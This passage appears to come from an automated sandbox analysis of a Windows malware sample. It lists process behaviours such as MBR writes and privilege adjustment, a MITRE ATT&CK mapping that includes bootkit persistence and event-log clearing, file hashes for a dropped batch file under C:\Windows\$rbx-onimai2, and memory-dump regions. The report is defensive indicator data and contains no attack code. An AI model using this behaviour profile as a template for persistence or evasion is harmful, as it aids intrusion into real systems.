C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4744

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2644

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3332

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4520

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe abcdfd79044686d25d1a23d4f0c06c58 WJUnRnsPe0eWijgYeZJpVg.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3952
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1184

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:5096

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4780

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
b17aa941838453cd60ca9b4e4cd40979

SHA1
b918449b6f80f55cb523eb94836230d25a95b5f5

SHA256
ef3aff33573cc3fadbc7c507065a0e1f545d182f6947d976b32295c8cea5bbc2

SHA512
b6666e78444d23608d4ac2f7b42b47849840f8d93ee34c147659af05d792a6747ea3802e00c6b41bf3a70f07092d9e0ce315df3e44a32fd157cae90e179cdcbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
b60ddd3c8eae0ccd37fabd821a233421

SHA1
4d8d1972b4a95ba6b12a744c5a728699316a9847

SHA256
84219c042f18450c068d72db47e438829ceefa7c030914ac075776f8054c80d9

SHA512
8bba8d18c47dd28a132ff6de68ecea251a8de9aecaa8459773196931e49d2684a3f0b357bf3e190dafaa8170b098258926d1a15fc54dcc10f8020c2f1ebd0139

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
63f3daf3ebf7daaa3416a431d50ff3b2

SHA1
cd95e25992a7da97a5cc8b48a47e157867721a04

SHA256
21927689c7ecab2b7af7611474c2e2b20d72d05a941afec01b42337f432dc2fa

SHA512
9f6e37a407af1b6fdeaa89f8753b5b7db087c32b3f9b2b2bd7af027ec3606ab534ad7dc16e179e3e784c04af27cd77befd45d4ef68c2d1af09830b311177f29f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfauelp0.0yx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.9MB

MD5
f88d18fc65296a1ed460e40a352e3045

SHA1
f6d9d94da2f11d0485ca057a057a06ac492bde8c

SHA256
f3cbb5d82cd929211283435c7dd79e7c853449ad23e7d4895b9fc0427759ba7f

SHA512
f193edd5c475040928e188b756d27ecb2f61ef6a1d7392bdb62e6d5bcdd5c37272849a298e9cc6265b5f67890881971ecf28f93e98edd90f6f536190999ed367

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
340B

MD5
b82b59e435bc212ebb7f0b3321fbbf3d

SHA1
7d76d1cd5475fb1c38a73141d10ad4a9687228b9

SHA256
bfcaae639303774519d30831e05dd46f0327899cb117330bbfc048a5f147fe4e

SHA512
51f750382db0e463ee879c50658bc96ba69499f928da7c34528d2634d7df11c39d5ba9ec3af3a964a95c2d71999ca7fb23b5f1128689bddf72c40bf2804d0c2a

Download Submit
memory/64-80-0x0000023E7AC80000-0x0000023E7ACAA000-memory.dmp

Filesize
168KB

Download
memory/64-86-0x00007FF83C3F0000-0x00007FF83C400000-memory.dmp

Filesize
64KB

Download
memory/64-85-0x0000023E7AC80000-0x0000023E7ACAA000-memory.dmp

Filesize
168KB

Download
memory/396-91-0x000002BAC4B60000-0x000002BAC4B8A000-memory.dmp

Filesize
168KB

Download
memory/396-96-0x00007FF83C3F0000-0x00007FF83C400000-memory.dmp

Filesize
64KB

Download
memory/396-95-0x000002BAC4B60000-0x000002BAC4B8A000-memory.dmp

Filesize
168KB

Download
memory/608-55-0x00007FF83C3F0000-0x00007FF83C400000-memory.dmp

Filesize
64KB

Download
memory/608-47-0x00000144857E0000-0x0000014485805000-memory.dmp

Filesize
148KB

Download
memory/608-54-0x0000014485810000-0x000001448583A000-memory.dmp

Filesize
168KB

Download
memory/608-49-0x0000014485810000-0x000001448583A000-memory.dmp

Filesize
168KB

Download
memory/608-48-0x0000014485810000-0x000001448583A000-memory.dmp

Filesize
168KB

Download
memory/668-65-0x0000026879060000-0x000002687908A000-memory.dmp

Filesize
168KB

Download
memory/668-60-0x0000026879060000-0x000002687908A000-memory.dmp

Filesize
168KB

Download
memory/668-66-0x00007FF83C3F0000-0x00007FF83C400000-memory.dmp

Filesize
64KB

Download
memory/948-76-0x00007FF83C3F0000-0x00007FF83C400000-memory.dmp

Filesize
64KB

Download
memory/948-75-0x00000209B7730000-0x00000209B775A000-memory.dmp

Filesize
168KB

Download
memory/948-70-0x00000209B7730000-0x00000209B775A000-memory.dmp

Filesize
168KB

Download
memory/1176-41-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1176-43-0x00007FF87BDB0000-0x00007FF87BE6E000-memory.dmp

Filesize
760KB

Download
memory/1176-42-0x00007FF87C370000-0x00007FF87C565000-memory.dmp

Filesize
2.0MB

Download
memory/1176-44-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1176-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1176-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1176-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1176-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1316-0-0x00007FF85E3C3000-0x00007FF85E3C5000-memory.dmp

Filesize
8KB

Download
memory/1316-1-0x0000029E5B2A0000-0x0000029E5B2C2000-memory.dmp

Filesize
136KB

Download
memory/1316-11-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1316-12-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1316-15-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1376-31-0x0000019CEB130000-0x0000019CEB16E000-memory.dmp

Filesize
248KB

Download
memory/1376-27-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1376-30-0x0000019CEC220000-0x0000019CEC296000-memory.dmp

Filesize
472KB

Download
memory/1376-802-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1376-35-0x00007FF87BDB0000-0x00007FF87BE6E000-memory.dmp

Filesize
760KB

Download
memory/1376-32-0x0000019CEC2A0000-0x0000019CEC83E000-memory.dmp

Filesize
5.6MB

Download
memory/1376-34-0x00007FF87C370000-0x00007FF87C565000-memory.dmp

Filesize
2.0MB

Download
memory/1376-33-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1376-180-0x0000019CECC00000-0x0000019CECF74000-memory.dmp

Filesize
3.5MB

Download
memory/1376-26-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/1376-29-0x0000019CEBDF0000-0x0000019CEBE34000-memory.dmp

Filesize
272KB

Download
memory/1376-28-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp

Filesize
10.8MB

Download
memory/5012-1798-0x000002002D360000-0x000002002D3B0000-memory.dmp

Filesize
320KB

Download
memory/5012-1814-0x000002002D3F0000-0x000002002D42C000-memory.dmp

Filesize
240KB

Download
memory/5012-1813-0x000002002D310000-0x000002002D322000-memory.dmp

Filesize
72KB

Download
memory/5012-1800-0x000002002D840000-0x000002002DA02000-memory.dmp

Filesize
1.8MB

Download
memory/5012-1799-0x000002002D470000-0x000002002D522000-memory.dmp

Filesize
712KB

Download
memory/5012-1391-0x000002002C920000-0x000002002D08A000-memory.dmp

Filesize
7.4MB

Download